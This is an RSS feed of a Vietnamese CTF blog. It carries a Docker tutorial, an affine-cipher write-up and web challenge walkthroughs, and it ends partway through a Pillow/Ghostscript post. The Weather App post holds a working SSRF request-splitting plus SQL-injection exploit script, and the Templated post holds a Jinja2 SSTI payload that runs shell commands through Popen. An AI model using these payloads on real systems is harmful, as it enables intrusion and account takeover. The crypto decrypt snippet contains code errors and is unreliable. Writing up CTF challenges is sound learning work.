<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[d3s34's blog]]></title><description><![CDATA[ctf, websec blog]]></description><link>https://blog.d3s34.me</link><generator>RSS for Node</generator><lastBuildDate>Sun, 12 Apr 2026 17:01:50 GMT</lastBuildDate><atom:link href="https://blog.d3s34.me/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Docker and CTF]]></title><description><![CDATA[Docker
Docker là gì?
Docker là gì? Docker là nền tảng sử dụng để phát triển, đóng gói và chạy ứng dụng. Về cơ bản, Docker sử dụng công nghệ Container hóa để cô lập các ứng dụng và tách nó ra khỏi hạ tầng sử dụng, bằng cách này thì việc triển khai và ...]]></description><link>https://blog.d3s34.me/docker-and-ctf</link><guid isPermaLink="true">https://blog.d3s34.me/docker-and-ctf</guid><category><![CDATA[Docker]]></category><dc:creator><![CDATA[Nguyen Dinh Bien]]></dc:creator><pubDate>Wed, 19 Jan 2022 15:53:09 GMT</pubDate><content:encoded><![CDATA[<h1 id="heading-docker">Docker</h1>
<h2 id="heading-docker-la-gi">Docker là gì?</h2>
<p><code>Docker</code> là gì? <code>Docker</code> là nền tảng sử dụng để phát triển, đóng gói và chạy ứng dụng. Về cơ bản, <code>Docker</code> sử dụng công nghệ Container hóa để cô lập các ứng dụng và tách nó ra khỏi hạ tầng sử dụng, bằng cách này thì việc triển khai và phát triển sẽ đồng bộ hơn. Cái này tương tự việc ảo hóa nhưng cái này thì nhẹ và dễ cài đặt, thay đổi hơn nhiều.</p>
<p>Ví dụ: mình cần chạy ứng dụng khác với môi trường hiện tại trên máy như là đang chạy <code>Mysql 8.0</code> mà cần <code>Mysql 5.7</code> hoặc <code>Mariadb</code> thì thay vì gỡ hiện tại ra cài lại, hoặc tạo một máy ảo chỉ để host server này thì chỉ cần khởi chạy một Container chứa <code>Mysql 5.7</code> là xong, môi trường sẽ độc lập với môi trường mình đang có.</p>
<h2 id="heading-diem-qua-tinh-nang-cua-docker">Điểm qua tính năng của Docker</h2>
<p>Docker tương đối nhiều tính năng nhưng mình điểm qua một số tính năng và câu lệnh mình hay dùng cho việc audit.</p>
<h3 id="heading-run">Run</h3>
<p>Đơn giản là chạy một container từ một image. Cuối cùng mục đích sau này là chạy được lệnh này</p>
<pre><code class="lang-shell"># Run a container from  image docker/getting-started
docker run docker/getting-started
# Run with detached mode 
docker run -d docker/getting-started
# Run with pseudo-TTY
docker run -it docker/getting-started
# Remove container after run
docker run --rm  docker/getting-started
# Ps container
docker ps 
# Stop container 
docker stop &lt;cotainer-id&gt;
# Remove container 
docker rm &lt;container-id&gt;
# Exec command
docker exec &lt;container-id&gt; &lt;command&gt;
# Copy file to environment
docker cp &lt;container-id&gt;:&lt;source&gt; &lt;target&gt;
# Copy file from environment 
docker cp &lt;source&gt; &lt;container-id&gt;:&lt;target&gt;
</code></pre>
<h3 id="heading-build">Build</h3>
<p>Thay vì dùng image có sẵn, có thể tạo ra các Image của riêng mình và build, sử dụng cho việc vọc sau này. Đầu tiền cần tạo ra một file để Docker có thể tạo ra image từ đó. Ví dụ mình cần chạy một app <code>Node.js</code> đã được code xong như sau thì mình tạo một Dockerfile:</p>
<pre><code class="lang-dockerfile"># syntax=docker/dockerfile:1
FROM node:12-alpine
RUN apk add --no-cache python3 g++ make
WORKDIR /app
COPY . .
RUN yarn install --production
CMD ["node", "src/index.js"]
</code></pre>
<p>Để build Dockerfile trên thành image chỉ cần chạy.</p>
<pre><code class="lang-shell">docker build -t getting-started
</code></pre>
<p>Cái này có lợi việc audit sau này là chỉ cần thêm Debugger vào các image có sẵn là có thể sử dụng luôn mà không phải Setup nhiều.</p>
<h3 id="heading-volume">Volume</h3>
<p>Về cơ bản các container tạo ra ở trên được cô lập với môi trường bên ngoài. Nếu Container độc lập dữ liệu với môi trường bên ngoài nên khi bị xóa thì dữ liệu sẽ mất hết. <code>Docker</code> có cung cấp một chức năng là tạo ra volume để lưu trữ dữ liệu từ container này. Có hai loại volume ở đây bao gồm:</p>
<ul>
<li><strong>Named Volumes</strong>: là các volume mà docker quản lý nơi lưu trữ, mình chỉ quan tâm tới việc sử dụng tên. Phù hợp lưu trữ liệu từ Database cho các container và sử dụng lại khi tạo lại container.</li>
<li><strong>Bind Mounts</strong>: gắn dữ liệu trong phân vùng với dữ liệu hiện có trên môi trường. Phù hợp với việc Dev và chạy luôn kết quả.</li>
</ul>
<pre><code class="lang-shell"># Create Volume with name mysql-data 
docker run -dp 3306:3306 \
     -v mysql-data:/var/lib/mysql \
     -e MYSQL_ROOT_PASSWORD=secret \
     -e MYSQL_DATABASE=todos \
     mysql:5.7
# Run with nodemon, restart app when change in source code at ./app 
# without rebuild image
docker run -dp 3000:3000 \
     -w /app -v "$(pwd):/app" \
     node:12-alpine \
     sh -c "yarn install &amp;&amp; yarn run dev"
</code></pre>
<h3 id="heading-network">Network</h3>
<p>Như đã nói ở trên thì container tương đối cô lập với môi trường bên ngoài, nên để có thể sử dụng được các kết nối ra môi trường bên ngoài và các container khác thông qua network thì tùy các case có thể liên quan đến việc:</p>
<ul>
<li>Thiết lập network giữa các container: thì các container có cần chung một network khi đó, các container có thể liên lạc với nhau qua alias name như một host.</li>
<li>Public port ra ngoài môi trường bằng cách binding port.</li>
</ul>
<pre><code class="lang-shell"># Create network for todo-app 
docker network create todo-app
# Run database with host mysql
docker run -d \
     --network todo-app --network-alias mysql \
     -v todo-mysql-data:/var/lib/mysql \
     -e MYSQL_ROOT_PASSWORD=secret \
     -e MYSQL_DATABASE=todos \
     mysql:5.7

# Run app with same network, database can connect via host mysql
# Port 3000 in container will be map to localhost:80   
docker run -d -p 80:3000 \
   -w /app -v "$(pwd):/app" \
   --network todo-app \
   -e MYSQL_HOST=mysql \
   -e MYSQL_USER=root \
   -e MYSQL_PASSWORD=secret \
   -e MYSQL_DB=todos \
   node:12-alpine \
   sh -c "yarn install &amp;&amp; yarn run dev"
</code></pre>
<h3 id="heading-docker-compose">Docker-compose</h3>
<p>Tạo ra tạo lại liên tục các Image và Container bằng tay có vẻ hơi lâu nên có Docker-compose được sinh ra để giải quyết cái này một cách đồng bộ.</p>
<p>Chúng ta có thể gom tất cả việc bên trên vào một file <code>Docker-compose.yml</code> như sau</p>
<pre><code class="lang-yaml"><span class="hljs-attr">version:</span> <span class="hljs-string">"3.7"</span>

<span class="hljs-attr">services:</span>
  <span class="hljs-attr">app:</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">node:12-alpine</span>
    <span class="hljs-attr">command:</span> <span class="hljs-string">sh</span> <span class="hljs-string">-c</span> <span class="hljs-string">"yarn install &amp;&amp; yarn run dev"</span>
    <span class="hljs-attr">ports:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-number">3000</span><span class="hljs-string">:3000</span>
    <span class="hljs-attr">working_dir:</span> <span class="hljs-string">/app</span>
    <span class="hljs-attr">volumes:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">./:/app</span>
    <span class="hljs-attr">environment:</span>
      <span class="hljs-attr">MYSQL_HOST:</span> <span class="hljs-string">mysql</span>
      <span class="hljs-attr">MYSQL_USER:</span> <span class="hljs-string">root</span>
      <span class="hljs-attr">MYSQL_PASSWORD:</span> <span class="hljs-string">secret</span>
      <span class="hljs-attr">MYSQL_DB:</span> <span class="hljs-string">todos</span>

  <span class="hljs-attr">mysql:</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">mysql:5.7</span>
    <span class="hljs-attr">volumes:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">todo-mysql-data:/var/lib/mysql</span>
    <span class="hljs-attr">environment:</span>
      <span class="hljs-attr">MYSQL_ROOT_PASSWORD:</span> <span class="hljs-string">secret</span>
      <span class="hljs-attr">MYSQL_DATABASE:</span> <span class="hljs-string">todos</span>

<span class="hljs-attr">volumes:</span>
  <span class="hljs-attr">todo-mysql-data:</span>
</code></pre>
<p>Và sử dụng <code>Docker-compose</code> để khởi tạo, quản lý thông qua service name thay vì từ container.</p>
<pre><code class="lang-shell">docker-compose up -d
docker-compose down
docker-compose start
docker-compose stop
docker-compose exec &lt;name-service&gt; &lt;command&gt;
</code></pre>
<h2 id="heading-tong-ket">Tổng kết</h2>
<p>Còn khá nhiều chức năng, đặc tả mình chưa nhắc đến khi sử dụng. Tùy từng trường hợp mọi người có thể đọc thêm ở các tài liệu khác.</p>
<hr />
<h2 id="heading-reference">Reference</h2>
<p><a target="_blank" href="https://docs.docker.com/get-started/overview/">https://docs.docker.com/get-started/overview/</a></p>
<h1 id="heading-docker-and-php">Docker and PHP</h1>
<p>Comming soon...</p>
<h1 id="heading-docker-and-java">Docker and Java</h1>
<p>Comming soon...</p>
<h1 id="heading-docker-and-nodejs">Docker and Nodejs</h1>
<p>Comming soon...</p>
<h1 id="heading-docker-and-python">Docker and Python</h1>
<p>Comming soon...</p>
]]></content:encoded></item><item><title><![CDATA[BabyEncryption]]></title><description><![CDATA[Walkthrough
Đề bài đưa ra một Source code bao gồm hàm bị mật mã hóa (encrypt) và một đoạn thông báo(message) đã bị mật mã hóa. Về cơ bản đoạn mã hóa này chỉ sử dụng toán học và mã hóa (encoding) để sinh ra bản mã(cipher text).
def encryption(msg):
  ...]]></description><link>https://blog.d3s34.me/babyencryption</link><guid isPermaLink="true">https://blog.d3s34.me/babyencryption</guid><category><![CDATA[Security]]></category><category><![CDATA[Cryptography]]></category><dc:creator><![CDATA[Nguyen Dinh Bien]]></dc:creator><pubDate>Wed, 19 Jan 2022 15:48:24 GMT</pubDate><content:encoded><![CDATA[<h3 id="heading-walkthrough">Walkthrough</h3>
<p>Đề bài đưa ra một Source code bao gồm hàm bị mật mã hóa (encrypt) và một đoạn thông báo(message) đã bị mật mã hóa. Về cơ bản đoạn mã hóa này chỉ sử dụng toán học và mã hóa (encoding) để sinh ra bản mã(cipher text).</p>
<pre><code class="lang-python"><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">encryption</span>(<span class="hljs-params">msg</span>):</span>
    ct = []
    <span class="hljs-keyword">for</span> char <span class="hljs-keyword">in</span> msg:
        ct.append((<span class="hljs-number">123</span> * char + <span class="hljs-number">18</span>) % <span class="hljs-number">256</span>)
    <span class="hljs-keyword">return</span> bytes(ct)

...
f.write(ct.hex())
</code></pre>
<p>Xét về diện toán học thì đây là phép lấy modul của một phép tuyến tính nên chỉ cần biến đổi lại như sau</p>
<pre><code class="lang-markdown">y=(123x+18)mod256 
y≡(123x+18)(mod256) 
y−18≡123x(mod256)
123−1(y−18)≡x(mod256) 
179(y−18)≡x(mod256) 
179y+106≡x(mod256)
</code></pre>
<p>Đây là mã hóa Affine mà mình vừa mới học (nửa môn trong 1 ngày :D)</p>
<p>Và hàm decrypt sẽ đơn giản như sau:</p>
<pre><code class="lang-python"><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">inverse_decrypt</span>(<span class="hljs-params">cipher: bytes</span>):</span>
    msg = <span class="hljs-string">""</span>
    <span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> cipher:
        msg += chr((<span class="hljs-number">179</span> * x + <span class="hljs-number">106</span>) % <span class="hljs-number">256</span>)
    <span class="hljs-keyword">return</span> msg
</code></pre>
<p>Tuy nhiên dưới góc nhìn của một coder(mình chưa chơi ctf crypt bao giờ ^^) thì các <strong><em>char</em></strong> được ánh xạ 1-n thành <strong><em>cipher</em></strong> nhưng là có thể tìm được kí tự <strong><em>cipher</em></strong> nếu coi như nó ánh xạ 1-1 với các kí tự <strong><em>char</em></strong> trong bảng mã ascii, và mình chỉ lấy các kí tự <code>printable</code> thì ta có cách decrypt sau</p>
<p>P/s: Theo lý thuyết, thì do cái hệ số 123 là khả nghịch (inversable) trong nhóm modular 256 nên nó là ánh xạ 1-1, nên cách giải này luôn đúng =)))</p>
<pre><code class="lang-python"><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">decrypt</span>(<span class="hljs-params">msg: bytes</span>):</span>

    mapping_table = {}
    <span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> string.printable:
        mapping_table[(<span class="hljs-number">123</span> * ord(c) + <span class="hljs-number">18</span>) % <span class="hljs-number">256</span>] = c

    msg_dec = <span class="hljs-string">''</span>
    <span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> msg:
        <span class="hljs-keyword">if</span> mapping_table[]:
            msg_dec += mapping_table[c]
        <span class="hljs-keyword">else</span>:
            msg_dec += c

    <span class="hljs-keyword">return</span> msg_dec
</code></pre>
<p>Rõ ràng cách dưới nhanh hơn tuy hơi cần điều kiện để nó thỏa mãn toán học một chút nhưng mình nghĩ cách này có vẻ đúng với cách chơi ctf này ._. Mình mong sau khi chơi ctf về crypt mình sẽ khẳng định được cách này là đúng.</p>
]]></content:encoded></item><item><title><![CDATA[Weather App]]></title><description><![CDATA[Tóm tắt
Đây lại là một bài Whitebox, cần một chút hiểu biết(đã từng làm) về các lỗ hổng khác để có thể hoàn thành bài.
Điểm đang chú ý nhất là việc lỗi dẫn đến lỗ hổng SSRF ở bài này là việc chuyển đổi từ String tới bytes có thể dẫn tới lỗ hổng. 
 Wa...]]></description><link>https://blog.d3s34.me/weather-app</link><guid isPermaLink="true">https://blog.d3s34.me/weather-app</guid><category><![CDATA[Security]]></category><dc:creator><![CDATA[Nguyen Dinh Bien]]></dc:creator><pubDate>Wed, 19 Jan 2022 15:43:58 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1642606952079/voGdZf0sj.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3 id="heading-tom-tat">Tóm tắt</h3>
<p>Đây lại là một bài Whitebox, cần một chút hiểu biết(đã từng làm) về các lỗ hổng khác để có thể hoàn thành bài.</p>
<p>Điểm đang chú ý nhất là việc lỗi dẫn đến lỗ hổng SSRF ở bài này là việc chuyển đổi từ String tới bytes có thể dẫn tới lỗ hổng. </p>
<h3 id="heading-walkthrough"> Walkthrough</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1642606952079/voGdZf0sj.png" alt="screenshot-from-2021-09-11-01-13-58.png" /></p>
<p>Lướt qua ứng dụng cũng không có gì ngoài việc ứng dụng đưa ra dữ liệu về thời tiết hiện tại. Phải lướt qua source để tìm kiếm thêm API.</p>
<p> </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1642606970548/YS_8xT-5k.png" alt="image (4).png" /></p>
<p>Flag sẽ được đưa ra khi chúng ta login được vào tài khoản admin. Ngoài ra, còn một API cho phép ta đăng ký tài khoản mới và tại đây tồn tại lỗ hổng SQL Injection (cái này  tác giả cũng cẩn thận note lại cho mọi người).</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1642606983325/rbxRo__T3.png" alt="image (5).png" /></p>
<p>Việc xử lý tài khoản admin được tạo ban đầu có thể bypass tương tự như trong <a target="_blank" href="https://book.hacktricks.xyz/pentesting-web/sql-injection#on-duplicate-key-update">MYSQL</a> với <a target="_blank" href="https://sqlite.org/lang\_conflict.html">SQLite on Conflict</a>. Nhưng một vấn đề ở đây là việc đăng kí chỉ có phép từ Local!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1642606990978/jWcy7iYWz.png" alt="image (6).png" /></p>
<p>Mình lúc đầu cũng ngây thơ khi tìm cách bypass cái regex này thông qua việc sửa Header để bypass nhưng mọi nỗ lực tìm kiếm đều chỉ ra việc bypass cái regex này là không thể =))) </p>
<p>Quay ra tìm thêm được một đoạn API thời tiết để lấy thông tin có thể Injection nhưng API cũng chỉ là để đổ dữ liệu ra Frontend, không thấy sử dụng phía Server side. </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1642606999020/MsVR-mSQe.png" alt="image (7).png" /></p>
<p>Cuối cùng quay lại với file <code>Docker</code>  thì phát hiện khá hay là ứng dụng này dùng <code>Nodejs v8.12.0</code>  một phiên bản khá là cũ với phiên bản LTS hiện tại là <code>v14</code> và <code>v12</code> tức là còn trước cả <code>v10</code>. Tìm hiểu một hồi lâu thì phiên bản này tồn tại khá nhiều lỗ hổng, đặc biệt có vài lỗ hổng liên quan tới <code>SSRF</code> thông qua <code>Request Splitting</code>, và mình lang thang một hồi tìm được bài này <a target="_blank" href="https://www.rfk.id.au/blog/entry/security-bugs-ssrf-via-request-splitting/">Security bugs: SSRF via Request Splitting </a>.</p>
<p>Tóm váy nhanh thì như sau:</p>
<ul>
<li><code>http.get()</code> nhận vào đối số là một <code>string.</code></li>
<li>Nhưng việc thực hiện gửi <code>HTTP request</code>thì cần sử dụng là <code>bytes array</code> chứ không thể thực hiện trên <code>string</code>.  Do đó các string khi được đưa vào sẽ đồng thời chuyển về bytes array và escape các kí tự đặc biệt. </li>
<li>Việc thực hiện này lại sử dụng việc decoding mặc định của Nodejs thông qua bộ mã hóa <code>latin1</code> nếu không có body.</li>
<li>Bộ mã hóa này không thể hiện các ký tự unicode high-numbered unicode, mà chỉ biểu diễn bằng cách chỉ sử dụng phần low-numbered unicode.</li>
</ul>
<pre><code class="lang-javascript">&gt; v = <span class="hljs-string">"/caf\u{E9}\u{01F436}"</span>
<span class="hljs-string">'/café🐶'</span>
&gt; Buffer.from(v, <span class="hljs-string">'latin1'</span>).toString(<span class="hljs-string">'latin1'</span>)
<span class="hljs-string">'/café=6'</span>
</code></pre>
<ul>
<li>Do đó, có thể chèn các kí tự ngắt (<code>CRLF</code>) để có thể thực hiện <code>Request Splitting</code> bằng cách sử dụng các ký tự <code>\u010A\u010D</code> thì sẽ trở thành ký tự ngắt <code>CRLF</code>khi được gửi đi. </li>
</ul>
<p>Quay lại với cái lỗ hổng ở mã nguồn ở trên thì việc có thể thực hiện chuyển mật khẩu tài khoản admin thông qua <code>Request splitting</code> tới API lấy dữ liệu thời tiết.</p>
<p>Request cần gửi sẽ có dạng như sau, nhớ là giữa các request cần loại bỏ Header<code>Connection: close</code> để tránh đóng kết nối khi tất cả các request chưa được chạy hết, chỉ để lại Header này ở request cuối cùng.</p>
<pre><code class="lang-http"><span class="hljs-keyword">GET</span> <span class="hljs-string">/api...&lt;start</span> here&gt; <span class="hljs-string">HTTP/1.1
Host:</span> 127.0.0.1

<span class="yaml"><span class="hljs-string">POST</span> <span class="hljs-string">/register</span> <span class="hljs-string">HTTP/1.1</span>
<span class="hljs-attr">Host:</span> <span class="hljs-number">127.0</span><span class="hljs-number">.0</span><span class="hljs-number">.1</span>
<span class="hljs-attr">Content-Type:</span> <span class="hljs-string">application/x-www-form-urlencoded</span>
<span class="hljs-attr">Content-Length:</span> <span class="hljs-number">95</span>
<span class="hljs-string">username=admin&amp;password=123')</span> <span class="hljs-string">on</span> <span class="hljs-string">conflict(username)</span> <span class="hljs-string">do</span> <span class="hljs-string">update</span> <span class="hljs-string">set</span> <span class="hljs-string">password='d3s34'--</span> <span class="hljs-bullet">-</span>

<span class="hljs-string">GET</span> <span class="hljs-string">/..&lt;end</span> <span class="hljs-string">here&gt;</span> <span class="hljs-string">HTTP/1.1</span>
<span class="hljs-attr">Host:</span> <span class="hljs-number">127.0</span><span class="hljs-number">.0</span><span class="hljs-number">.1</span>
<span class="hljs-attr">Connection:</span> <span class="hljs-string">close</span></span>
</code></pre>
<p> Để thực hiện đoạn body ở giữ thì cần đưa ngắt dòng của HTTP Request vào thông qua lỗ hổng phía trên của NodeJs. Đoạn code exploit mình viết được sẽ như sau:</p>
<pre><code class="lang-python"><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">exploit</span>():</span>
    crlf = <span class="hljs-string">"\u010D\u010A"</span>
    space = <span class="hljs-string">"\u0120"</span>

    username = <span class="hljs-string">"admin"</span>
    password=<span class="hljs-string">"1') on conflict(username) do update set password='d3s34';-- -"</span>\
        .replace(<span class="hljs-string">" "</span>, space)\
        .replace(<span class="hljs-string">"'"</span>, <span class="hljs-string">"%27"</span>)

    payload = <span class="hljs-string">f"<span class="hljs-subst">{space}</span>HTTP/1.1<span class="hljs-subst">{crlf}</span>"</span> \
              <span class="hljs-string">f"Host:<span class="hljs-subst">{space}</span>127.0.0.1<span class="hljs-subst">{crlf}</span>"</span> \
              <span class="hljs-string">f"<span class="hljs-subst">{crlf}</span>"</span> \
                        \
              <span class="hljs-string">f"POST<span class="hljs-subst">{space}</span>/register<span class="hljs-subst">{space}</span>HTTP/1.1<span class="hljs-subst">{crlf}</span>"</span> \
              <span class="hljs-string">f"Host:<span class="hljs-subst">{space}</span>127.0.0.1<span class="hljs-subst">{crlf}</span>"</span> \
              <span class="hljs-string">f"Content-Type:<span class="hljs-subst">{space}</span>application/x-www-form-urlencoded<span class="hljs-subst">{crlf}</span>"</span> \
              <span class="hljs-string">f"Content-Length:<span class="hljs-subst">{space}</span><span class="hljs-subst">{len(username) + len(password) + len(<span class="hljs-string">'username=&amp;password='</span>)}</span><span class="hljs-subst">{crlf}</span>"</span> \
              <span class="hljs-string">f"<span class="hljs-subst">{crlf}</span>"</span> \
              <span class="hljs-string">f"username=<span class="hljs-subst">{username}</span>&amp;password=<span class="hljs-subst">{password}</span><span class="hljs-subst">{crlf}</span>"</span> \
              <span class="hljs-string">f"<span class="hljs-subst">{crlf}</span>"</span> \
                        \
              <span class="hljs-string">f"GET<span class="hljs-subst">{space}</span>/VN"</span>

    data = {
        <span class="hljs-string">"endpoint"</span>: <span class="hljs-string">"127.0.0.1"</span>,
        <span class="hljs-string">"city"</span>: <span class="hljs-string">"Hanoi"</span>,
        <span class="hljs-string">"country"</span>: <span class="hljs-string">"VN"</span> + payload
    }

    response = requests.post(url=<span class="hljs-string">"http://188.166.173.208:31625/api/weather"</span>, data=data)
</code></pre>
<p> Và kết quả sẽ đăng nhập được thông qua mật khẩu Injection được ở trên.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1642607012983/RwhiCf-Po.png" alt="image (8).png" /></p>
]]></content:encoded></item><item><title><![CDATA[Templated]]></title><description><![CDATA[Tóm tắt
Đây một bài Blackbox cần quan sát thêm ở các thông tin đưa ra là có thể nhận ra.
Vector attack ở bài này liên quan tới SSTI (sever side template injection) khi cho phép người dùng tùy ý điều khiển ở một số page tưởng như vô hại dẫn đến RCE.
W...]]></description><link>https://blog.d3s34.me/templated</link><guid isPermaLink="true">https://blog.d3s34.me/templated</guid><category><![CDATA[Security]]></category><dc:creator><![CDATA[Nguyen Dinh Bien]]></dc:creator><pubDate>Wed, 19 Jan 2022 15:39:33 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1642606674425/7wnGAgkch.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3 id="heading-tom-tat">Tóm tắt</h3>
<p>Đây một bài Blackbox cần quan sát thêm ở các thông tin đưa ra là có thể nhận ra.</p>
<p>Vector attack ở bài này liên quan tới SSTI (sever side template injection) khi cho phép người dùng tùy ý điều khiển ở một số page tưởng như vô hại dẫn đến RCE.</p>
<h3 id="heading-walkthrough">Walkthrough</h3>
<p>Đầu tiên khi bước vào thì website hiển thị duy nhất thông tin về Framework sử dụng.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1642606674425/7wnGAgkch.png" alt="screenshot-from-2021-09-03-15-52-17.png" /></p>
<p>Dựa vào tên Framework là <code>Flask/Jinja2</code> và tên của Challenge thì tìm đã search được về lỗi hổng SSTI ở framework này. Nhưng mà website này trống, lấy gì để injection đây? Mình thử test thêm URL random xem lấy thêm được thông tin gì không ._.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1642606695208/gqaoSGvYCas.png" alt="screenshot-from-2021-09-03-16-23-29.png" /></p>
<p>Ồ, nó sử dụng template để in ra tên page lỗi? Injection thử payload trong <a target="_blank" href="https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#jinja2-python">Cheat sheet</a> xem thế nào nhỉ ._.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1642606708922/G2J0a4rt-.png" alt="screenshot-from-2021-09-03-15-58-35.png" /></p>
<p>Đúng như dự đoán, có thể Injection tại đây. Vậy làm như thế nào để RCE đây? Thì các tài liệu liên quan đến lỗ hổng SSTI của Python nhắc đến rất nhiều từ khóa MRO (method resolution order). Mình đọc qua thì cơ bản nó là cách mà Python lookup các attributes khi mà Python cho phép đa kế thừa (multiple inheritance) thì việc các lớp cha có cùng thuộc tính là có thể xảy ra, việc lookup này diễn ra từ dưới lên trên, từ trái qua phải của các lớp kế thừa. Và các lớp này có thể truy cập thông qua phương thức <code>mro()</code> hoặc <code>__mro__</code> . Từ đây ta có thể gọi các lớp hoặc thuộc tính khác từ đây.</p>
<p>Trở lại với website thì thử với các thuộc tính của một string lớp bình thường xem sao nhé</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1642606722971/kbWdqqDdY.png" alt="screenshot-from-2021-09-03-16-00-14.png" /></p>
<p>Vậy là từ đây có thể gọi đến các thuộc tính của lớp object là cha tất cả lớp khác. Phương thức<code>subclasses()</code> có thể gọi ra được tất cả các subclass đó.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1642606735217/ViE1MlgRS.png" alt="screenshot-from-2021-09-03-16-01-07.png" /></p>
<p>Ta có ở đây một lô các lớp. Lớp Popen có thể RCE nên lấy đúng vị trí của nó là được =)) Nhưng nhiều thế này đếm đến bao giờ :"&lt; Rất may python có phương thức slice mảng khá hay nên tìm nó cũng không đến mức phải đếm từng cái một.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1642606747784/13Lwc9Am-.png" alt="screenshot-from-2021-09-03-16-02-21.png" /></p>
<p>Vậy xác định được index của lớp Popen. Rồi tạo một instance rồi lấy data ra thôi. Payload đầy đủ sẽ thế này.</p>
<pre><code class="lang-plaintext">"".__class__.__mro__[1].__subclasses__()[414](["cat flat.txt"],shell=True,stdout=-1).communicate()
</code></pre>
<p>Và lấy flag ra thôi :v</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1642606757609/7d7P5wDwI.png" alt="screenshot-from-2021-09-03-16-07-01.png" /></p>
]]></content:encoded></item><item><title><![CDATA[petpet rcbee]]></title><description><![CDATA[Tóm tắt
Bài này tiếp tục là một bài Whitebox. 
Lỗi đến từ việc sử dụng thư viện có lỗ hổng ở đây là Pillow.
Walkthrough
Nói sơ qua về Web thì đây là một Web cho phép upload ảnh là tập hợp chúng lại thành một ảnh Gif

Xem qua một chút source thì có du...]]></description><link>https://blog.d3s34.me/petpet-rcbee</link><guid isPermaLink="true">https://blog.d3s34.me/petpet-rcbee</guid><category><![CDATA[Security]]></category><dc:creator><![CDATA[Nguyen Dinh Bien]]></dc:creator><pubDate>Wed, 19 Jan 2022 15:37:10 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1642606580088/XLrYkJPUH.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3 id="heading-tom-tat">Tóm tắt</h3>
<p>Bài này tiếp tục là một bài Whitebox. </p>
<p>Lỗi đến từ việc sử dụng thư viện có lỗ hổng ở đây là Pillow.</p>
<h3 id="heading-walkthrough">Walkthrough</h3>
<p>Nói sơ qua về Web thì đây là một Web cho phép upload ảnh là tập hợp chúng lại thành một ảnh Gif</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1642606580088/XLrYkJPUH.png" alt="image (9).png" /></p>
<p>Xem qua một chút source thì có duy nhất một API cho phép upload</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1642606590117/iuM91d4SJ.png" alt="image (11).png" /></p>
<p>Lúc đầu mình có dự đoán là lỗ hổng xảy ra do việc upload file nhưng source sử dụng các hàm khá an toàn. </p>
<pre><code class="lang-python">ALLOWED_EXTENSIONS = set([<span class="hljs-string">'png'</span>, <span class="hljs-string">'jpg'</span>, <span class="hljs-string">'jpeg'</span>])

generate = <span class="hljs-keyword">lambda</span> x: os.urandom(x).hex()

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">allowed_file</span>(<span class="hljs-params">filename</span>):</span>
    <span class="hljs-keyword">return</span> <span class="hljs-string">'.'</span> <span class="hljs-keyword">in</span> filename <span class="hljs-keyword">and</span> \
        filename.rsplit(<span class="hljs-string">'.'</span>, <span class="hljs-number">1</span>)[<span class="hljs-number">1</span>].lower() <span class="hljs-keyword">in</span> ALLOWED_EXTENSIONS

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">save_tmp</span>(<span class="hljs-params">file</span>):</span>
    tmp  = tempfile.gettempdir()
    path = os.path.join(tmp, secure_filename(file.filename))
    file.save(path)
    <span class="hljs-keyword">return</span> path
</code></pre>
<p>Vậy cuối cùng phải tìm các hàm khác gây lỗi, và mình tìm được bài sau về <a target="_blank" href="https://github.com/farisv/PIL-RCE-Ghostscript-CVE-2018-16509">lỗ hổng RCE của Pillow liên quan tới GhostScript</a>. Lỗ hổng ngày bắt nguồn từ việc Pillow sử dụng GhostScript để xử lý các file liên quan tới EPS. </p>
<pre><code class="lang-python"><span class="hljs-comment"># Build Ghostscript command</span>
    command = [
        <span class="hljs-string">"gs"</span>,
        <span class="hljs-string">"-q"</span>,  <span class="hljs-comment"># quiet mode</span>
        <span class="hljs-string">"-g%dx%d"</span> % size,  <span class="hljs-comment"># set output geometry (pixels)</span>
        <span class="hljs-string">"-r%fx%f"</span> % res,  <span class="hljs-comment"># set input DPI (dots per inch)</span>
        <span class="hljs-string">"-dBATCH"</span>,  <span class="hljs-comment"># exit after processing</span>
